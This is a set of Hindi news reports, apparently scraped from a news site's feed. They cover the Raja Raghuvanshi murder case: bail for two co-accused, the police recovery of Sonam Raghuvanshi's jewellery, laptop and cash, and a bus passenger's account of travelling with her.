 राजा रघुवंशी हत्या में शिलांग की निचली अदालत में केस चल रहा है। हर तरफ एक ही सवाल है कि क्या सोनम रघुवंशी को सजा मिली और मिलेगी तो भी कैसी? राज कुशवाह का क्या होगा? वहीं कुछ लोगों को तो अब भी भरोसा नहीं हो रहा है कि सोनम ही इतने बड़े कांड की मास्टरमाइंड है।

इस बीच, मामले में सह अभियुक्त लोकेंद्र सिंह तोमर और बलबीर अहिरवार को जमानत मिल गई है। पिछले दिनों की सुनवाई में कोर्ट ने सख्त शर्तों के साथ दोनों को जमानत दी।

    शिलांग कोर्ट ने लोकेंद्र सिंह तोमर और बलबीर अहिरवार की जमानत याचिका मंजूर कर ली। अदालत ने कड़ी शर्तों के साथ जमानत मंजूर की है। हालांकि, इन शर्तों के बारे में अभी खुलासा नहीं हुआ है।

बचाव पक्ष ने तर्क दिया कि दोनों ने जांचकर्ताओं के साथ पूरा सहयोग किया था और वे वास्तविक अपराध में सीधे तौर पर शामिल नहीं थे। दोनों से अनजान में और डर के कारण गलतियां हुईं।

लोकेंद्र ने प्रॉपर्टी ब्रोकर शिलोम जेम्स की मदद से अपनी बिल्डिंग का एक फ्लैट सोनम को किराए पर दिया था। राजा की हत्या के बाद सोनम यहां रुकी थी। राज कुशवाह भी यहां कई बार आया।

मामले सामने आने के बाद लोकेंद्र ने शिलोम पर फ्लैट खाली करने का दबाव डाला। फ्लैट खोला तो रुपयो से भरा बैग मिला, जिले लोकेंद्र अपने साथ ले गया। फिर शिलोम ने बिल्डिंग के चौकीदार बलबीर से फ्लैट की सफाई करवा कर सबूत नष्ट कर दिए।

शिलोम भी शिलांग जेल में कैद है। वह भी जमानत के लिए कोशिश कर रहा है। अभी 14 दिन की रिमांड पर है। माना जा रहा है कि अगली सुनवाई में उसे भी जमानत मिल जाएगी।

Sonam Raghuvanshi को वकील मिलेगा या नहीं

सोनम रघुवंशी का केस कौन लड़ेगा, इस पर अभी संदेह है। सोनम का परिवार अपना रुख साफ कर चुका है। उसके पिता और भाई कह चुके हैं कि पहले हम सोनम से मिलेंगे, उसके बाद तय करेंगे।

भाई गोविंद का कहना है कि यदि Sonam Raghuvanshi कहती है कि उसने राजा की हत्या नहीं की है, तो वह उसके लिए वकील करेंगे और रिहा करने का पूरा प्रयास करेंगे। लेकिन यदि हत्याकांड कबूलती है, तो वकील नहीं करेंगे।

इस बीच, Sonam Raghuvanshi के परिवार ने उन खबरों का खंडन किया है, जिनमें कहा गया था कि सोनम को जेल से फोन करने की अनुमति मिली, तो उससे पहला फोन परिवार को किया।

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राजा रघुवंशी मर्डर केस: शिलोम के घर से मिले सोनम का लैपटॉप और गहने, आज भी इंदौर में जांच करेगी मेघालय पुलिस https://pratyushaashakinayikiran.com/?p=167504 Mon, 30 Jun 2025 08:36:00 +0000 https://pratyushaashakinayikiran.com/?p=167504 इंदौर
 इंदौर के बिजनेसमैन राजा रघुवंशी हत्याकांड की जांच कर रही शिलांग पुलिस की टीम के हाथ एक बड़ा सबूत लगा है. कुछ दिन पहले पुलिस की टीम 3 आरोपियों को लेकर शिलांग गई थी. शनिवार देर रात प्रॉपर्टी डीलर शिलोम जेम्स को लेकर शिलांग एसआईटी की टीम फिर इंदौर पहुंची. पुलिस को राजा और सोनम के गायब हुए गहने और लैपटॉप की तलाश थी. इस बीच पूछताछ में शिलोम जेम्स ने खुलासा किया कि उसी ने गहने और लैपटॉप गायब किया था. उसने सभी चीजों को रतलाम में अपने ससुराल लाकर छिपा दिया था. इसके बाद पुलिस की टीम फौरन इंदौर से रतलाम पहुंच गई.

शिलांग एसआईटी की टीम ने रतलाम से सोनम और राजा के गोल्ड ज्वेलरी जब्त कर लिया है. इसके बाद राजा के भाई विपिन को भी क्राइम ब्रांच थाने बुलाया गया. विपिन से करीब 1 घंटे पुलिस ने बातचीत की और राजा और सोनम के गहने दिखाए. पुलिस ने सोने की चेन, अंगूठी मंगलसूत्र, पायल और बिछिया बरामद कर दिया है. ज्वेलरी के साथ लैपटॉप और पेन ड्राइव भी मिला है.

राजा के भाई ने दिया बड़ा बयान

राजा के भाई विपिन रघुवंशी ने कहा कि पुलिस ने पूछा कि शादी में क्या रकम चढ़ाई थी, क्या-क्या दिया था, इसके बारे में पूछताछ की. इसे लेकर पुलिस को मैंने सारी जानकारी दी है. शादी में हमने रानी हार, अंगूठी, चेन दिया था. इसकी जानकारी दी है. राजा की चेन तो मुझे दिखाई नहीं है. रतलाम से जो चीजें बरामद की गई है, उसे दिखाया नहीं है.

सुबह से चल रही थी सुगबुगाहट
शिलांग एसआईटी के रतलाम आने की सूचना रविवार की सुबह से ही शहर में फैल गई थी। दोपहर तक टीम नहीं पहुंची। माणकचौक थाना क्षेत्र के अंतर्गत किसी व्यापारी के यहां पहुंचने की कई बार सूचनाएं निकली लेकिन हकीकत से परे रही। आखिरकार दोपहर करीब तीन बजे पुख्ता सूचना मिली कि शिलांग एसआईटी की टीम औ‌द्योगिक क्षेत्र पुलिस थाना पहुंची है।

ससुराल में नहीं मिला मनोज गुप्ता शिलॉन्ग एसआईटी की टीम ने इंदौर-रतलाम बायपास के एक ढाबे पर कई घंटे तक सीनियर अफसरों से बात की। इसके बाद रतलाम के मंगलमूर्ति नगर में जाकर सर्चिंग की। स्थानीय औद्योगिक थाने की पुलिस को भी इसकी जानकारी नहीं दी गई थी। टीम जब शिलोम के ससुराल पहुंची तो यहां ससुर मनोज गुप्ता नहीं मिले।

टीम ने आसपास वालों से बात की तो पता लगा कि उन्हें मनोज के बारे में कोई जानकारी नहीं है। एसआईटी का मानना है कि शिलोम के गिरफ्तार होने के बाद से ही मनोज को इस मामले में अपना नाम आने का डर था। इसके चलते वो फरार हो गया।

एसआईटी ने नहीं दिया कोई जवाब
पुलिस सूत्रों से मिली जानकारी के अनुसार रतलाम आई शिलांग एसआईटी में चेरापूंजी के एसएचओ और एक अन्य साथ थे। मीडियाकर्मियों ने पहले पुलिस थाना और बाद में मंगलमूर्ति कॉलोनी में उनसे आरोपी, उसकी भूमिका, बैग आदि के बारे में जानकारी लेने की कोशिश की किंतु उन्होंने किसी भी सवाल का जवाब नहीं दिया। स्थानीय पुलिस ने भी इस मामले में कुछ भी कहने से इनकार कर दिया है। सिलोम जेम्स (Silom James) वही प्रॉपर्टी ब्रोकर है, जिसने हत्याकांड के आरोपी विशाल को फ्लैट किराए पर दिलवाया था। फ्लैट में राज और सोनम ने फरारी काटी थी। 

कभी-कभार आते थे बेटी-दामाद
मंगलमूर्ति कॉलोनी में दोपहर में जैसे ही पुलिस मनोज गुप्ता के मकान के सामने पहुंची तो आसपास रहने वाले भी चौंक गए। पड़ौसियों का कहना था कि गुप्ता दंपती बहुत सीधे इंसान हैं। उनकी दो पुत्रियां हैं। बड़ी पुत्री ने जेम्स से प्रेम विवाह किया हुआ है जबकि छोटी बेटी इंदौर में पढ़ाई कर रही है। इस कॉलोनी में गुप्ता ने एक साल पहले ही मकान लिया था। वे आईसीआईसी प्रोडेंशियल का काम करते हैं। पड़ौसियों ने बताया कि बड़ी बेटी और दामाद त्योहार पर आते थे। पड़ोंसियों ने यह भी बताया कि बड़ी लड़की और दामाद इतने खुले विचारों के थे कि वे साथ में सिगरेट आदि का सेवन भी करते थे।

एसआईटी ने किचन से बरामद किया बैग
एसआईटी (Shillong SIT) की टीम और पुलिस के घर के अंदर जाने के बाद टीम ने जेन्स की निशानदेही पर घर के किचन में एक बैग बरामद किया। यह बैग जेन्स या उसकी पत्नी जूही ने ही यहां छिपाकर रखा था। बैग के अंदर रखे हुए सामानों का शिलांग एसआईटी ने आईए टीआई गायत्री सोनी व पुलिसकर्मियों के सामने पंचनामा बनाकर जब्त कर लिया। यहां से टीम वापस जेम्स को लेकर निकली जबकि दोनों युवतियां इसी मकान में रुक गई।

लोकल पुलिस के साथ पहुंची टीम
शिलांग एसआईटी दोपहर में दो कारों में औ‌द्योगिक क्षेत्र पुलिस थाने पहुंची। एक कार में अफसर, सिलोम जेम्स और दूसरी कार में उसकी पत्नी जूही और साली थी। थाने से लोकल पुलिस की मदद से एसआईटी सिलीम जेम्स को लेकर उसके ससुराल मंगल मूर्ति कॉलोनी पहुंची। मकान नंबर 56 पर ताला लगा हुआ था। ताला खोलकर आरोपी सिलीम जेम्स, उसकी पत्नी जूही, साली और एसआईटी सहित रतलाम पुलिस अंदर दाखिल हुई और दरवाजा बंद करके किसी के भी प्रवेश पर रोक लगा दी।

शिलोम के ससुराल से मिला बैग
शिलांग पुलिस की टीम शिलोम जेम्स की निशानदेही पर रतलाम के मंगल मूर्ति नगर पहुंची थी. यहां उसके एक रिश्तेदार के घर से बैग बरामद किया गया. माना जा रहा है कि इसी बैग में शिलोम में गहने छिपाए थे. बताया जा रहा है कि सोनम शिलांग से आकर इंदौर में छिपी हुई थी. इसी दौरान शिलोम ने उसकी ज्वेलरी से भरा बैग इंदौर से लाकर रतलाम अपने ससुराल में छिपा दिया था.

बता दें कि 23 मई को शिलांग में राजा रघुवंशी की हत्या कर दी गई थी. इस मामले में पुलिस ने पहले राजा की पत्नी सोनम रघुवंशी, फिर उसे प्रेमी राज कुशवाहा और हत्या करने वाले 3 आरोपी आकाश राजपूत, विक्की चौहान और आनंद कुर्मी को गिरफ्तार किया था. फिलहाल सभी शिलांग जेल में है.शिलांग से आकर सोनम इंदौर में एक फ्लैट में रुकी थी. इस फ्लैट को प्रॉपर्टी ब्रोकर शिलोम जेम्स ने किराए पर लिया था.

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राजा हत्याकांड मामले में नया खुलासा सिलोम जेम्स ने लैपटॉप सहित अन्य सामान नाले में फेंका था, पुलिस ने ढूंढ निकाला https://pratyushaashakinayikiran.com/?p=166434 Wed, 25 Jun 2025 13:38:00 +0000 https://pratyushaashakinayikiran.com/?p=166434 इंदौर
 राजा रघुवंशी हत्याकांड मामले में एक नया खुलासा हुआ है। प्रॉपर्टी ब्रोकर सिलोम जेम्स ने फ्लैट से सोनम का लैपटॉप और अन्य सामान निकालकर नाले में फेंक दिया था। लैपटॉप और सामन की तलाश में शिलांग पुलिस सिलोम को लेकर वहां पहुंची। इसके बाद पुलिस जवान उसे लेकर नाले में उतरे और तलाशी ली। इस दौरान नाले में सफेद रंग की एक थैली मिली, जिसे पुलिस ने जब्त कर लिया।

इसके बाद पुलिस प्रॉपर्टी ब्रोकर को उसके घर लेकर पहुंची, जहां पर उसकी कार से 50 हजार रुपये कैश जब्त होने की खबर है। इस दौरान सिलोम जेम्स की पत्नी से भी पूछताछ की गई है। उधर पुलिस लोकेंद्र को लेकर भी कुछ इलाकों में सर्च करने पहुंची है।

ओल्ड पलासिया के पास स्थित इस नाले में खोजबीन करने पर पुलिस को एक पिस्टल मिली है। इसके अलावा और भी कई साक्ष्य पुलिस को मिले हैं। अभी तलाश जारी है। शिलॉन्ग पुलिस को जांच में शिलोम जेम्स के पास रखे 1 लाख रुपये भी मिले हैं। ये वही रकम है जो शिलोम को सोनम के बैग से मिले थे। शिलोम ने ये पैसे अपनी गाड़ी में छिपा रखे थे।

इससे पहले मेघालय में अपने पति राजा रघुवंशी की हत्या के बाद वहां से भागकर इंदौर में सोनम रघुवंशी जिस फ्लैट में रुकी थी,उसके मालिक लोकेन्द्र सिंह तोमर को मंगलवार को मेघालय पुलिस की तीन दिन की ट्रांजिट रिमांड पर भेज दिया गया है,एक अधिकारी ने यह जानकारी दी। तोमर को सोमवार को ग्वालियर के गांधी नगर इलाके में एक फ्लैट से हिरासत में लिया गया था। यह कार्रवाई इंदौर के डीसीपी (क्राइम) द्वारा ग्वालियर के एसपी से अनुरोध के बाद की गई। उसे रात भर मोहना पुलिस स्टेशन में रखा गया।

पुलिस स्टेशन प्रभारी राशिद खान ने बताया कि मंगलवार सुबह उसे मेघालय पुलिस की एक टीम को सौंप दिया गया। उन्होंने बताया कि उसे जिला अदालत में पेश किया गया, जिसने उसे मेघालय पुलिस की 72 घंटे की ट्रांजिट रिमांड पर भेज दिया।

सोनम रघुवंशी के लैपटॉप में कई राज छिपे होने की आशंका है। इससे सोनम के हवाला कनेक्शन की जानकारी भी मिल सकती है। जांच के दौरान जब पुलिस पहुंची तो नाले के ऊपर से गुजरने वाले पुल के ऊपर लोगों की भीड़ लग गई थी।
लोकेंद्र और सिलोम को आमने-सामने बैठकार हुई पूछताछ

बिल्डर लोकेंद्र तोमर और सिलोम जेम्स को आमने सामने बैठाकर पूछताछ की गई। इस दौरान सिलोम जेम्स ने ही इस बात का खुलासा किया उसे पता है कि सोनम का सामान कहा है। इसके बाद उसने इंडस्ट्री हाउस के पीछे नाले में सामान फेंकने की जानकारी दी।

लोकेंद्र और सिलोम को आमने-सामने बैठकार हुई पूछताछ

बिल्डर लोकेंद्र तोमर और सिलोम जेम्स को आमने सामने बैठाकर पूछताछ की गई। इस दौरान सिलोम जेम्स ने ही इस बात का खुलासा किया उसे पता है कि सोनम का सामान कहा है। इसके बाद उसने इंडस्ट्री हाउस के पीछे नाले में सामान फेंकने की जानकारी दी।

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सोनम ने उजाला के मोबाइल पर एक नंबर टाइप किया, लेकिन डायल नहीं किया और तुरंत मिटा दिया https://pratyushaashakinayikiran.com/?p=164240 Mon, 16 Jun 2025 10:40:00 +0000 https://pratyushaashakinayikiran.com/?p=164240 इंदौर 

चर्चित राजा रघुवंशी हत्याकांड में अब भी एक के बाद एक नए खुलासे सामने आ रहे हैं. इस सनसनीखेज हत्याकांड की जांच में उस मोबाइल नंबर को भी शामिल किया जा सकता है जिसे बस में बैठकर हत्यारोपी सोनम रघुवंशी ने  डायल करने की कोशिश की, लेकिन डायल किए बिना ही मिटा दिया. बस में सोनम के साथ बैठी गाजीपुर की रहने वाली छात्रा उजाला यादव ने यह बातें मीडिया को बताई है. 

उजाला ने दावा किया है कि उसने हत्या की आरोपी सोनम रघुवंशी के साथ 8 जून की रात वाराणसी से गाजीपुर तक रोडवेज बस में यात्रा की थी.लेकिन हैरान कर देने वाली बात यह थी कि सोनम गाजीपुर नहीं बल्कि गोरखपुर जाना चाहती थी.  और जब ट्रेन नहीं मिली तो रोडवेज बस से जाने का विकल्प चुना।

सुबह तीन बजे थी ट्रेन 

उजाला यादव ने बताया कि वह खुद भी उस रात लखनऊ से ट्रेन पकड़ कर वाराणसी कैंट स्टेशन पहुंची थीं, जहां उन्होंने पहली बार सोनम रघुवंशी को दो  युवकों के साथ देखा था.स्टेशन के प्लेटफॉर्म पर खड़ी सोनम से उसकी बातचीत शुरू हुई, जब सोनम ने ट्रेन और बस की जानकारी मांगी.उजाला का कहना है कि मैंने उसे बताया कि गोरखपुर की ट्रेन सुबह 3 बजे आएगी, लेकिन अगर वह चाहे तो रोडवेज बस से जा सकती है, जो कैंट स्टेशन के बाहर से मिल जाएगी. इसके बाद सोनम को ट्रेन का इंतजार करना उचित नहीं लगा और उसने बस से गोरखपुर के लिए जाने का फैसला किया।

बार-बार पूछ रही थी गोरखपुर कितनी दूर है

उजाला के अनुसार, जब दोनों वाराणसी रोडवेज बस स्टैंड के प्लेटफॉर्म नंबर 7 से बस में चढ़ीं, तो सोनम ने चेहरे को कपड़े से ढक रखा था.बस में चढ़ते ही उसने पानी मांगा और चेहरा धोया, तभी उजाला ने पहली बार उसका चेहरा ठीक से देखा. बस में सोनम पहले एक अजनबी युवक के बगल में बैठी थी और उससे मोबाइल मांग रही थी, लेकिन उसने देने से मना कर दिया और सीट बदल ली. इसके बाद उजाला उसी सीट पर आ गई और सोनम के बगल में बैठ गई. यात्रा के दौरान, सोनम की बेचैन थी.वह बार-बार गोरखपुर की दूरी, समय और पहुंच के बारे में पूछ रही थी।

डायल नहीं किया नंबर 

बस यात्रा के दौरान जब उजाला यादव अपने मोबाइल पर राजा रघुवंशी हत्याकांड से जुड़ी खबरें और वीडियो देख रही थीं, तो सोनम घबरा गईं. उसने कहा ये सब मत देखो.  इसके बाद उजाला ने वीडियो देखना बंद कर दिया. इसी दौरान सोनम ने उजाला से मोबाइल फोन मांगा, और उसमें एक नंबर टाइप किया, लेकिन डायल नहीं किया और तुरंत मिटा दिया.फिर मोबाइल लौटा दिया. उजाला के मुताबिक यह उसे तब भी थोड़ी अजीब लगी थी. 

सोशल मीडिया पर तस्वीर देख पहचान में आई सोनम

उजाला के मुताबिक अगली सुबह जब वह अपने गांव नसीरपुर पहुंची और सोशल मीडिया पर सोनम की फोटो देखी तो चौंक गईं.उन्होंने तुरंत गाजीपुर के नंदगंज थाने में सूचना दी.फिर सोशल मीडिया के माध्यम से राजा रघुवंशी के भाई सचिन रघुवंशी से संपर्क किया और अपनी आपबीती साझा की.सचिन ने उन्हें चार आरोपियों की तस्वीरें भेजीं, लेकिन उजाला ने बताया कि जिन दो युवकों को उसने वाराणसी कैंट स्टेशन पर सोनम के साथ देखा था, वे तस्वीरों में शामिल नहीं हैं. 

नेपाल भागने की तैयारी में थी सोनम?

चर्चा है कि सोनम का गोरखपुर के रास्ते नेपाल भागने का प्लान हो सकता था.पहले वह ट्रेन से जाने वाली थी, लेकिन समय लंबा होने के कारण रोडवेज बस को चुना.बता दें कि गोरखपुर नेपाल के बेहद करीब है और सीमाओं पर आवाजाही भी आसान है. उजाला का कहना है, मेरे पास जो भी जानकारी है, मैं पुलिस के साथ साझा करने को तैयार हूं.मैं चाहती हूं कि राजा रघुवंशी को न्याय मिले और अपराधी सजा पाए. 

सवाल अब भी कई बाकी

– सोनम के साथ स्टेशन पर मौजूद दोनों युवक कौन थे?

– क्या वे राजा की हत्या में शामिल थे या नेपाल भागने में मदद करने वाले ?

– सोनम ने किसका नंबर मोबाइल में टाइप किया था?

– क्या उसका नेटवर्क नेपाल में मौजूद किसी व्यक्ति से जुड़ा था?

 

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